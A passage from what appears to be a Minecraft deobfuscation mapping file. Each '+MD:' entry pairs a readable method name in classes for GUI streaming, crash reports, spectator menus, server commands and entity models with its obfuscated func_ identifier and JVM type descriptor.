net/minecraft/client/gui/GuiResourcePackList/func_148201_l ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiResourcePackSelected/getListHeader ()Ljava/lang/String; net/minecraft/client/gui/GuiResourcePackSelected/func_148202_k ()Ljava/lang/String; +MD: net/minecraft/client/gui/stream/GuiIngestServers$ServerList/drawBackground ()V net/minecraft/client/gui/stream/GuiIngestServers$ServerList/func_148123_a ()V +MD: net/minecraft/client/gui/stream/GuiIngestServers$ServerList/isSelected (I)Z net/minecraft/client/gui/stream/GuiIngestServers$ServerList/func_148131_a (I)Z +MD: net/minecraft/client/gui/stream/GuiIngestServers$ServerList/drawSlot (IIIIII)V net/minecraft/client/gui/stream/GuiIngestServers$ServerList/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/stream/GuiIngestServers$ServerList/elementClicked (IZII)V net/minecraft/client/gui/stream/GuiIngestServers$ServerList/func_148144_a (IZII)V +MD: net/minecraft/client/gui/stream/GuiIngestServers$ServerList/getSize ()I net/minecraft/client/gui/stream/GuiIngestServers$ServerList/func_148127_b ()I +MD: net/minecraft/client/gui/stream/GuiIngestServers$ServerList/getScrollBarX ()I net/minecraft/client/gui/stream/GuiIngestServers$ServerList/func_148137_d ()I +MD: net/minecraft/client/gui/stream/GuiIngestServers/drawScreen (IIF)V net/minecraft/client/gui/stream/GuiIngestServers/func_73863_a (IIF)V +MD: net/minecraft/client/gui/stream/GuiIngestServers/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/stream/GuiIngestServers/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/stream/GuiIngestServers/access$000 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/stream/GuiIngestServers/access$000 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/stream/GuiIngestServers/initGui ()V net/minecraft/client/gui/stream/GuiIngestServers/func_73866_w_ ()V +MD: net/minecraft/client/gui/stream/GuiIngestServers/access$100 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/stream/GuiIngestServers/access$100 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/stream/GuiIngestServers/access$200 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/stream/GuiIngestServers/access$200 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/stream/GuiIngestServers/access$300 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/stream/GuiIngestServers/access$300 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/stream/GuiIngestServers/access$400 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/stream/GuiIngestServers/access$400 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/stream/GuiIngestServers/access$500 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/stream/GuiIngestServers/access$500 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/stream/GuiIngestServers/access$600 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/stream/GuiIngestServers/access$600 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/stream/GuiIngestServers/access$700 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/stream/GuiIngestServers/access$700 (Lnet/minecraft/client/gui/stream/GuiIngestServers;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/stream/GuiIngestServers/handleMouseInput ()V net/minecraft/client/gui/stream/GuiIngestServers/func_146274_d ()V +MD: net/minecraft/client/gui/stream/GuiIngestServers/onGuiClosed ()V net/minecraft/client/gui/stream/GuiIngestServers/func_146281_b ()V +MD: net/minecraft/client/gui/stream/GuiStreamOptions/drawScreen (IIF)V net/minecraft/client/gui/stream/GuiStreamOptions/func_73863_a (IIF)V +MD: net/minecraft/client/gui/stream/GuiStreamOptions/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/stream/GuiStreamOptions/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/stream/GuiStreamOptions/initGui ()V net/minecraft/client/gui/stream/GuiStreamOptions/func_73866_w_ ()V +MD: net/minecraft/crash/CrashReport$1/call ()Ljava/lang/String; net/minecraft/crash/CrashReport$1/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport$1/call ()Ljava/lang/Object; net/minecraft/crash/CrashReport$1/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReport$2/call ()Ljava/lang/String; net/minecraft/crash/CrashReport$2/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport$2/call ()Ljava/lang/Object; net/minecraft/crash/CrashReport$2/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReport$3/call ()Ljava/lang/String; net/minecraft/crash/CrashReport$3/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport$3/call ()Ljava/lang/Object; net/minecraft/crash/CrashReport$3/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReport$4/call ()Ljava/lang/String; net/minecraft/crash/CrashReport$4/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport$4/call ()Ljava/lang/Object; net/minecraft/crash/CrashReport$4/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReport$5/call ()Ljava/lang/String; net/minecraft/crash/CrashReport$5/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport$5/call ()Ljava/lang/Object; net/minecraft/crash/CrashReport$5/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReport$6/call ()Ljava/lang/String; net/minecraft/crash/CrashReport$6/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport$6/call ()Ljava/lang/Object; net/minecraft/crash/CrashReport$6/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReport$7/call ()Ljava/lang/String; net/minecraft/crash/CrashReport$7/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport$7/call ()Ljava/lang/Object; net/minecraft/crash/CrashReport$7/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReport/getDescription ()Ljava/lang/String; net/minecraft/crash/CrashReport/func_71501_a ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport/saveToFile (Ljava/io/File;)Z net/minecraft/crash/CrashReport/func_147149_a (Ljava/io/File;)Z +MD: net/minecraft/crash/CrashReport/makeCategory (Ljava/lang/String;)Lnet/minecraft/crash/CrashReportCategory; net/minecraft/crash/CrashReport/func_85058_a (Ljava/lang/String;)Lnet/minecraft/crash/CrashReportCategory; +MD: net/minecraft/crash/CrashReport/makeCategoryDepth (Ljava/lang/String;I)Lnet/minecraft/crash/CrashReportCategory; net/minecraft/crash/CrashReport/func_85057_a (Ljava/lang/String;I)Lnet/minecraft/crash/CrashReportCategory; +MD: net/minecraft/crash/CrashReport/getSectionsInStringBuilder (Ljava/lang/StringBuilder;)V net/minecraft/crash/CrashReport/func_71506_a (Ljava/lang/StringBuilder;)V +MD: net/minecraft/crash/CrashReport/makeCrashReport (Ljava/lang/Throwable;Ljava/lang/String;)Lnet/minecraft/crash/CrashReport; net/minecraft/crash/CrashReport/func_85055_a (Ljava/lang/Throwable;Ljava/lang/String;)Lnet/minecraft/crash/CrashReport; +MD: net/minecraft/crash/CrashReport/getCrashCause ()Ljava/lang/Throwable; net/minecraft/crash/CrashReport/func_71505_b ()Ljava/lang/Throwable; +MD: net/minecraft/crash/CrashReport/getCauseStackTraceOrString ()Ljava/lang/String; net/minecraft/crash/CrashReport/func_71498_d ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport/getCompleteReport ()Ljava/lang/String; net/minecraft/crash/CrashReport/func_71502_e ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReport/getFile ()Ljava/io/File; net/minecraft/crash/CrashReport/func_71497_f ()Ljava/io/File; +MD: net/minecraft/crash/CrashReport/getCategory ()Lnet/minecraft/crash/CrashReportCategory; net/minecraft/crash/CrashReport/func_85056_g ()Lnet/minecraft/crash/CrashReportCategory; +MD: net/minecraft/crash/CrashReport/populateEnvironment ()V net/minecraft/crash/CrashReport/func_71504_g ()V +MD: net/minecraft/crash/CrashReport/getWittyComment ()Ljava/lang/String; net/minecraft/crash/CrashReport/func_71503_h ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandSaveOn/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandSaveOn/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandSaveOn/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandSaveOn/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandSaveOn/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandSaveOn/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/func_152561_a ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/func_152561_a ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/func_152559_b ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/func_152559_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/values ()[Lnet/minecraft/client/gui/stream/GuiStreamUnavailable$Reason; net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/values ()[Lnet/minecraft/client/gui/stream/GuiStreamUnavailable$Reason; +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable/drawScreen (IIF)V net/minecraft/client/gui/stream/GuiStreamUnavailable/func_73863_a (IIF)V +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/stream/GuiStreamUnavailable/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable/func_152321_a (Lnet/minecraft/client/gui/GuiScreen;)V net/minecraft/client/gui/stream/GuiStreamUnavailable/func_152321_a (Lnet/minecraft/client/gui/GuiScreen;)V +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable/func_152320_a (Ljava/lang/String;)V net/minecraft/client/gui/stream/GuiStreamUnavailable/func_152320_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable/initGui ()V net/minecraft/client/gui/stream/GuiStreamUnavailable/func_73866_w_ ()V +MD: net/minecraft/client/gui/stream/GuiStreamUnavailable/onGuiClosed ()V net/minecraft/client/gui/stream/GuiStreamUnavailable/func_146281_b ()V +MD: net/minecraft/client/gui/stream/GuiTwitchUserMode/drawScreen (IIF)V net/minecraft/client/gui/stream/GuiTwitchUserMode/func_73863_a (IIF)V +MD: net/minecraft/client/gui/stream/GuiTwitchUserMode/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/stream/GuiTwitchUserMode/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/stream/GuiTwitchUserMode/func_152328_a (Ljava/util/Set;Ljava/util/Set;Lnet/minecraft/client/stream/IStream;)Ljava/util/List; net/minecraft/client/gui/stream/GuiTwitchUserMode/func_152328_a (Ljava/util/Set;Ljava/util/Set;Lnet/minecraft/client/stream/IStream;)Ljava/util/List; +MD: net/minecraft/client/gui/stream/GuiTwitchUserMode/func_152329_a (Ltv/twitch/chat/ChatUserMode;Ljava/lang/String;Z)Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/stream/GuiTwitchUserMode/func_152329_a (Ltv/twitch/chat/ChatUserMode;Ljava/lang/String;Z)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/stream/GuiTwitchUserMode/func_152330_a (Ltv/twitch/chat/ChatUserSubscription;Ljava/lang/String;Z)Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/stream/GuiTwitchUserMode/func_152330_a (Ltv/twitch/chat/ChatUserSubscription;Ljava/lang/String;Z)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/stream/GuiTwitchUserMode/initGui ()V net/minecraft/client/gui/stream/GuiTwitchUserMode/func_73866_w_ ()V +MD: net/minecraft/client/gui/spectator/PlayerMenuObject/getSpectatorName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/PlayerMenuObject/func_178664_z_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/PlayerMenuObject/func_178662_A_ ()Z net/minecraft/client/gui/spectator/PlayerMenuObject/func_178662_A_ ()Z +MD: net/minecraft/client/gui/spectator/PlayerMenuObject/func_178663_a (FI)V net/minecraft/client/gui/spectator/PlayerMenuObject/func_178663_a (FI)V +MD: net/minecraft/client/gui/spectator/PlayerMenuObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/PlayerMenuObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/BaseSpectatorGroup/func_178669_a ()Ljava/util/List; net/minecraft/client/gui/spectator/BaseSpectatorGroup/func_178669_a ()Ljava/util/List; +MD: net/minecraft/client/gui/spectator/BaseSpectatorGroup/func_178670_b ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/BaseSpectatorGroup/func_178670_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/SpectatorMenu$1/getSpectatorName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/SpectatorMenu$1/func_178664_z_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/SpectatorMenu$1/func_178662_A_ ()Z net/minecraft/client/gui/spectator/SpectatorMenu$1/func_178662_A_ ()Z +MD: net/minecraft/client/gui/spectator/SpectatorMenu$1/func_178663_a (FI)V net/minecraft/client/gui/spectator/SpectatorMenu$1/func_178663_a (FI)V +MD: net/minecraft/client/gui/spectator/SpectatorMenu$1/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/SpectatorMenu$1/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/SpectatorMenu$EndSpectatorObject/getSpectatorName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/SpectatorMenu$EndSpectatorObject/func_178664_z_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/SpectatorMenu$EndSpectatorObject/func_178662_A_ ()Z net/minecraft/client/gui/spectator/SpectatorMenu$EndSpectatorObject/func_178662_A_ ()Z +MD: net/minecraft/client/gui/spectator/SpectatorMenu$EndSpectatorObject/func_178663_a (FI)V net/minecraft/client/gui/spectator/SpectatorMenu$EndSpectatorObject/func_178663_a (FI)V +MD: net/minecraft/client/gui/spectator/SpectatorMenu$EndSpectatorObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/SpectatorMenu$EndSpectatorObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/getSpectatorName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/func_178664_z_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/func_178662_A_ ()Z net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/func_178662_A_ ()Z +MD: net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/func_178663_a (FI)V net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/func_178663_a (FI)V +MD: net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178642_a ()Ljava/util/List; net/minecraft/client/gui/spectator/SpectatorMenu/func_178642_a ()Ljava/util/List; +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178643_a (I)Lnet/minecraft/client/gui/spectator/ISpectatorMenuObject; net/minecraft/client/gui/spectator/SpectatorMenu/func_178643_a (I)Lnet/minecraft/client/gui/spectator/ISpectatorMenuObject; +MD: net/minecraft/client/gui/spectator/SpectatorMenu/access$112 (Lnet/minecraft/client/gui/spectator/SpectatorMenu;I)I net/minecraft/client/gui/spectator/SpectatorMenu/access$112 (Lnet/minecraft/client/gui/spectator/SpectatorMenu;I)I +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178647_a (Lnet/minecraft/client/gui/spectator/ISpectatorMenuView;)V net/minecraft/client/gui/spectator/SpectatorMenu/func_178647_a (Lnet/minecraft/client/gui/spectator/ISpectatorMenuView;)V +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178645_b ()Lnet/minecraft/client/gui/spectator/ISpectatorMenuObject; net/minecraft/client/gui/spectator/SpectatorMenu/func_178645_b ()Lnet/minecraft/client/gui/spectator/ISpectatorMenuObject; +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178644_b (I)V net/minecraft/client/gui/spectator/SpectatorMenu/func_178644_b (I)V +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178650_c ()Lnet/minecraft/client/gui/spectator/ISpectatorMenuView; net/minecraft/client/gui/spectator/SpectatorMenu/func_178650_c ()Lnet/minecraft/client/gui/spectator/ISpectatorMenuView; +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178641_d ()V net/minecraft/client/gui/spectator/SpectatorMenu/func_178641_d ()V +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178648_e ()I net/minecraft/client/gui/spectator/SpectatorMenu/func_178648_e ()I +MD: net/minecraft/client/gui/spectator/SpectatorMenu/func_178646_f ()Lnet/minecraft/client/gui/spectator/categories/SpectatorDetails; net/minecraft/client/gui/spectator/SpectatorMenu/func_178646_f ()Lnet/minecraft/client/gui/spectator/categories/SpectatorDetails; +MD: net/minecraft/client/gui/spectator/ISpectatorMenuView/func_178669_a ()Ljava/util/List; net/minecraft/client/gui/spectator/ISpectatorMenuView/func_178669_a ()Ljava/util/List; +MD: net/minecraft/client/gui/spectator/ISpectatorMenuView/func_178670_b ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/ISpectatorMenuView/func_178670_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/ISpectatorMenuObject/getSpectatorName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/ISpectatorMenuObject/func_178664_z_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/ISpectatorMenuObject/func_178662_A_ ()Z net/minecraft/client/gui/spectator/ISpectatorMenuObject/func_178662_A_ ()Z +MD: net/minecraft/client/gui/spectator/ISpectatorMenuObject/func_178663_a (FI)V net/minecraft/client/gui/spectator/ISpectatorMenuObject/func_178663_a (FI)V +MD: net/minecraft/client/gui/spectator/ISpectatorMenuObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/ISpectatorMenuObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/ISpectatorMenuRecipient/func_175257_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/ISpectatorMenuRecipient/func_175257_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/categories/SpectatorDetails/func_178680_a (I)Lnet/minecraft/client/gui/spectator/ISpectatorMenuObject; net/minecraft/client/gui/spectator/categories/SpectatorDetails/func_178680_a (I)Lnet/minecraft/client/gui/spectator/ISpectatorMenuObject; +MD: net/minecraft/client/gui/spectator/categories/SpectatorDetails/func_178681_b ()I net/minecraft/client/gui/spectator/categories/SpectatorDetails/func_178681_b ()I +MD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer$1/compare (Lnet/minecraft/client/network/NetworkPlayerInfo;Lnet/minecraft/client/network/NetworkPlayerInfo;)I net/minecraft/client/gui/spectator/categories/TeleportToPlayer$1/compare (Lnet/minecraft/client/network/NetworkPlayerInfo;Lnet/minecraft/client/network/NetworkPlayerInfo;)I +MD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/client/gui/spectator/categories/TeleportToPlayer$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer/getSpectatorName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178664_z_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178662_A_ ()Z net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178662_A_ ()Z +MD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178669_a ()Ljava/util/List; net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178669_a ()Ljava/util/List; +MD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178663_a (FI)V net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178663_a (FI)V +MD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178670_b ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/categories/TeleportToPlayer/func_178670_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/getSpectatorName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/func_178664_z_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/func_178662_A_ ()Z net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/func_178662_A_ ()Z +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/func_178663_a (FI)V net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/func_178663_a (FI)V +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam/getSpectatorName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178664_z_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178662_A_ ()Z net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178662_A_ ()Z +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178669_a ()Ljava/util/List; net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178669_a ()Ljava/util/List; +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178663_a (FI)V net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178663_a (FI)V +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178661_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178670_b ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/spectator/categories/TeleportToTeam/func_178670_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/model/ModelArmorStandArmor/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelArmorStandArmor/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelArmorStand/postRenderArm (F)V net/minecraft/client/model/ModelArmorStand/func_178718_a (F)V +MD: net/minecraft/client/model/ModelArmorStand/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelArmorStand/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelArmorStand/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelArmorStand/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBanner/renderBanner ()V net/minecraft/client/model/ModelBanner/func_178687_a ()V +MD: net/minecraft/client/model/ModelBat/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelBat/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelBat/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelBat/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBlaze/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelBlaze/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelBlaze/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelBlaze/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBoat/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelBoat/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelBook/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelBook/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelBook/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelBook/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelChest/renderAll ()V net/minecraft/client/model/ModelChest/func_78231_a ()V +MD: net/minecraft/command/server/CommandBroadcast/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandBroadcast/func_82362_a ()I +MD: net/minecraft/command/server/CommandBroadcast/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandBroadcast/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandBroadcast/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandBroadcast/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandBroadcast/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandBroadcast/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandBroadcast/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandBroadcast/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/model/ModelChicken/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelChicken/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelChicken/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelChicken/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelCreeper/setRotationAngles (FFFFFFLnet/minecraft/entity/Entity;)V net/minecraft/client/model/ModelCreeper/func_78087_a (FFFFFFLnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/model/ModelCreeper/render (Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/model/ModelCreeper/func_78088_a (Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/model/ModelEnderman/setRotationAngles 